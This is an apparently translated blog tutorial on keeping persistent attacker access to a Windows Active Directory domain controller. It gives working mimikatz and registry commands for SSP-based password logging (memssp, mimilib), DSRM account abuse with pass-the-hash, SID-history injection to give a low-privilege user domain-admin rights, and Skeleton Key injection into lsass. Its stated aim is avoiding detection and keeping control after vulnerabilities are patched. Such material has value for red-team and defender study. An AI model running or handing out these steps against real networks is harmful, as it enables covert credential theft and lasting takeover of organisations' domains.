Windows permission maintenance—SSP&HOOK&DSRM&SIHistory&SkeletonKey

1. Introduction to permission maintenance

  Permission maintenance is a very important part of the intranet. Many times when you take down a server, if you do not maintain permissions, you may still be able to log in or access it today, but you will not be able to access it tomorrow. Of course, this is not excluded. There are situations where servers are left unattended all year round. Servers like this are basically found in some small businesses. As long as the server is running normally, there is no need to take care of it. Moreover, some large enterprises will have fixed managers who will handle the corresponding tasks. The server performs regular anti-virus and inspections. If a Trojan is found, it may be discovered in a few hours at a faster time, or in a few days at a slower time.

  If this is the case, then our early access to permissions will be in vain. In order to maintain the permissions for a long time, many big guys also use various tricks, tools, etc., and at the same time, due to many cases, obtaining Permissions are based on the use of vulnerabilities in some WEB, systems, programs, etc., and if the vulnerabilities are repaired, it means that our permissions are equivalent to invalid, then we need to maintain certain permissions on the server to ensure long-term control.

  Of course, if the server is reinstalled, the permission maintenance will inevitably fail, which is unavoidable. The permission maintenance here means that the server is not reinstalled but only the relevant vulnerabilities are repaired, and in the future we will not rely on vulnerabilities. Maintenance of authority.

1.1. Others

  Here we first let the domain control go online. We have already started to learn how to maintain permissions, so I won’t go into details about how to get the domain control permissions before.

2. Based on verification DLL loading—SPP

  SSP—Security Support Provider, literally translated as security support provider, aka Security Package. Simply understood, SSPit is one DLL, used to implement identity authentication and maintain system permissions.

2.1. Operation demonstration—temporarily effective

  I don’t want to operate here anymore, just watch the demonstration. Since we don’t have to operate on the domain controller to maintain permissions, however, if we operate on the domain controller, we can get more permissions. After all, the domain controller is this Administrators in the domain.

2.1.1. Execute command

  You can use mimikatzthe command execution here, and you can operate it after execution. However, it should be noted that this command is one-time. The so-called one-time use means that after the server is restarted, then this command cannot be executed again. It is equivalent to invalidating after restarting.

privilege::debug
misc::memssp

2.1.2. Switch users

  After executing the above command, you can wait for the administrator to switch users. In fact, there is no need to switch users. Generally, the server will lock the screen if it is idle for a long time. Just wait for the administrator to log in again. Here we can directly use Switch users to do this.

You can see that the login account and password are obtained in the following file path.

C:\Windows\System32\mimilsa.log   ##文件位置。

2.2. Operation demonstration—permanent

  This operation requires modifying the registry, which is quite troublesome. At the same time, csinteractive commands cannot be executed in the server, so you need to remotely log in to the other party's host to execute it. If you are in the domain and the domain controller is not connected to the network, then it will be Very complicated.

  The advantage is that it is permanently invalid, but for it to take effect, the prerequisite is that the server needs to be restarted.

  So for the demonstration here, I will operate it directly in the domain controller. There is no other good way for the time being.

2.2.1. Upload files

  Here you need to upload mimikatzit mimilib.dllto the directory of the domain controller C:\windows\system32\.

2.2.2. Execute command

  Why does it say that it cannot be executed in CS? Look at the picture carefully. During the modification process, there will be an interactive command, and interactive commands cannot be executed in CS. However, I remember that MSF seems to be able to directly execute interactive commands. of.

  But later, a brother helped me solve it, thank you.

#查看当前注册表中的设置值
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
#修改注册表中的值
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ


#CS中修改注册表中的值
shell echo yes | reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

  The effect of operations in CS.

2.2.3. Restart to take effect

  After the above command is executed, one will be added to the registry , mimilibwhich is called mimilib.dll. Please note that there is a newline in mimilib.dllfront . \0And the account password will be recorded after restarting C:\windows\system32\kiwissp.log.

2.3. Summary

  Since the second method requires a restart to take effect, and in actual attacks, restarting the server as an attacker will inevitably increase the risk of being investigated, so it is best to cooperate with each other.

  These two methods each have their own advantages, but they also have their own disadvantages. It is best to use both methods to ensure that the account password is successfully obtained, whether after restarting or without restarting. arrive. If the file is inaccessible, you can share the file and use the share to send it to other hosts.

3. Loading based on verification DLL—HOOK

  Regarding this method, there are currently local monitoring and remote monitoring, but unfortunately, the tool has not been updated for a long time, and the local monitoring github project has also been deleted, so if you are interested here, you can search it yourself. I will not demonstrate it here. At the same time, the downloaded program needs to be automatically compiled, and some articles have been referred to. When this tool is executed, various errors are prone to occur.

4. Mechanism-based account activation—DSRM

  DSRM (Diretcory Service Restore Mode) is the safe mode startup option for domain controllers in a Windows domain environment. The local administrator account of the domain controller is also the DSRM account. The DSRM password is set when the DC is created and is rarely changed. The purpose of DSRM is to allow administrators to restore, repair, and rebuild the Active Directory database when a domain environment fails. The DSRM password can be modified by running the ntdsutil tool on the DC.

4.1. Applicable versions

  Applicable versions are Windows Server 2008 (KB961320 needs to be installed to synchronize the DSRM password with the password of the specified domain account) and later versions. This method cannot be used in Windows Server 2003.

4.2. Operation demonstration

  Most of the entire process is performed on the host, so you still need to log in to the domain control host remotely, and be careful to hide yourself.

4.2.1. Obtain the NTLM hash of dsrm and krbtgt

  This is done on the host, but it can also be done in CS.

privilege::debug
lsadump::lsa /patch /name:webadmin  ##这个域用户可以随便是那个域用户。
token::elevate
lsadump::sam

4.2.2. dsrm&krbtgt&NTLM hash synchronization

  You still need to operate on the host here, because there are too many shell interactions required, but if conditions permit, you can use a rebound shell for interaction.

#进入ntdsutil
ntdsutil
#修改DSRM的密码
set DSRM password
#使DSRM的密码和指定域用户的密码同步 eg:sync from domain account [域用户名]
sync from domain account webadmin
#退出
按两次q即可退出(第1次：退出DSRM密码设置模式;第2次退出ntdsutil)

4.2.3. Check the synchronization effect

  Here we check whether the hash value of dsrm has been synchronized to the hash of the webadmin user.

4.2.4. Modify dsrm login method

  dsrmadminlogonbehavior represents that DSRM has three login methods

• 0: Default value. The DSRM administrator account can only be used when the domain controller restarts and enters DSRM mode.
• 1: Only when the local AD and DS services are stopped, you can use the DSRM administrator account to log in to the domain controller.
• 2: In any case, you can use the DSRM administrator account to log in to the domain controller

powershell New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

4.2.5. PTH pass-through attack

  Use mimikatz for hash transfer. Open mimikatz in the administrator mode of the domain member machine. You can also run it directly using CS.

privilege::debug
sekurlsa::pth /domain:DC /user:administrator /ntlm:518b98ad4178a53695dc997aa02d455c

4.2.6. Check the effect

  This is actually a pop-up window that pops up on the host in the domain. You can use this pop-up window to execute commands and access the domain control. When the window is closed, you can use the pth attack next time and call it again to ensure that the permissions are maintained. But the shortcomings are also obvious. I need to log in to the domain control server remotely, otherwise I cannot take advantage of the pop-up windows that pop up.

4.3. Summary

  Use the system's own mechanism mode DSRM to modify the DSRM default login method and attributes, and synchronize webadmin to conduct PTH attacks to achieve continuous control, but it is suitable for systems >= windows server2008. Each domain controller has a local administrator account and password (different from the domain administrator account and password). The DSRM account can serve as a local administrator user of a domain controller, connect to the domain controller through the network, and then control the domain controller.

5. Modify based on user attributes—SID—history

  SID stands for Security Identifiers and is a unique number that identifies users, groups and computer accounts. Every account on the network is issued a unique SID when the account is first created.

  The SIDHistory attribute exists to solve the problem of user permissions changing when migrating to another domain. For example, user zhangsan was originally an administrator in domain A. When migrating to domain B, due to the change of SID, the permissions may become ordinary users. At this time, if you add a SIDHistory with the value of zhangsan's SID in domain A to user zhangsan, Value can solve this problem. Only the domain administrator has the right to change SIDHistory.

5.1. Operation demonstration

  The operations here are relatively simple, and they can all be completed in CS.

5.1.1. Get the SID values ​​of all users

  By getting the SID, you can see that only the last four digits are different, which actually represents different permissions.

shell wmic useraccount get name,sid

5.1.2. Get the SID value of a user

  After using CS to enter the command here, garbled characters will appear, but it can still be used.

powershell Import-Module ActiveDirectory
powershell Get-ADUser webadmin -Properties sidhistory

5.1.3. Grant administrator rights to a user

  Since I am logging in to dbadmin here, I modified dbadmin. You can see the following prompt that it was successful.

privilege::debug
sid::patch
sid::add /sam:dbadmin /new:administrator

5.1.4. Check the SID value of dbadmin

  You can see that SID history has administrator permissions.

Import-Module ActiveDirectory
Get-ADUser dbadmin -Properties sidhistory

5.1.5. Testing

  You can see that you can access it normally here.

dir \\192.168.3.33\c$

5.1.6. Test again

  The reason for testing again here is that when using dbadmin again, the effect of access was not displayed in advance. Later, I added a picture of the effect before and after webadmin's permissions.

5.2. Summary

  This method is to add the SID of the domain controller administrator to the SID history of some malicious users or users with low permissions in the domain. In this way, accounts in the domain can access the domain controller with domain administrator permissions. As long as the domain account is not modified, they can always access the domain controller. .

  Changes cannot be found in the user center, which means that you can always access it as long as the account is not deleted.

6. Hijacking the login process—skeleton-key

  The Skeleton Key (universal password) method can persist the administrator rights in the domain. Use mimikatz to complete the operation of injecting the Skeleon Key and inject the Skeleton Key into the lsass.exe process of the domain controller.

6.1. Operation demonstration

  I have been studying this operation for more than an hour. At first, I used the host in the domain to configure access to the DC. In theory, it should be like this, but the biggest problem is that mimikatz keeps reporting errors. Later, I modified it and started from the DC. This is the idea of ​​accessing the internal host, but I found that it was successfully executed. I was puzzled. I checked a lot of information but there was no such idea. You can test it to see if there is a problem with my environment.

  The following are all traffic from DC to hosts in the domain.

6.1.1. Test the communication between users in the domain and DC

  Due to permission issues here, I switched to sqladmin again, and I can see that it is inaccessible here.

dir \\DC\c$

6.1.2. Connect to DC

  There is something you need to understand here. Permission maintenance is performed after obtaining permission. So at this moment you know the password of the DC. However, all subsequent permission maintenance operations are to prevent the DC password from being modified and causing you to be unable to access. .

  Since there is a problem with the host in my domain, here is the access from the DC to the host in the domain. Under normal circumstances, the DC can access the host in the domain, so the process of establishing a connection here is also demonstrated.

net use \\windows2008\ipc$ "admin@123" /user:0DAY\administrator

6.1.3. Injection process

  At first I thought it might require high permissions, but it still didn't work after changing a lot of virtual machines. If anyone knows, please let me know. Later, I replaced it with a DC and tested it on the host in the domain. It was difficult to do!

privilege::debug
misc::skeleton

6.1.4. Test communication

  As you can see here, using the password is incorrect, but the command can still succeed, which proves that this operation is feasible. There may really be a problem with my environment.

net use \\windows2008\ipc$ "mimikatz" /user:0DAY\administrator
dir \\windows2008\c$

6.1.5. Try to restart

  Since the Skeleton Key technology is injected into the lsass.exe process, it only exists in the memory. If the domain controller is restarted, the universal password will become invalid. Here you can see that after I restart, the command cannot be executed.

7. Summary

  Generally speaking, many of these cases require uploading mimikatz to the host, and many operations require interaction. If you want to maintain permissions, you can only remotely connect to the other party's host under certain circumstances. Operate, but this also increases the risk of being discovered, so some people try not to operate it.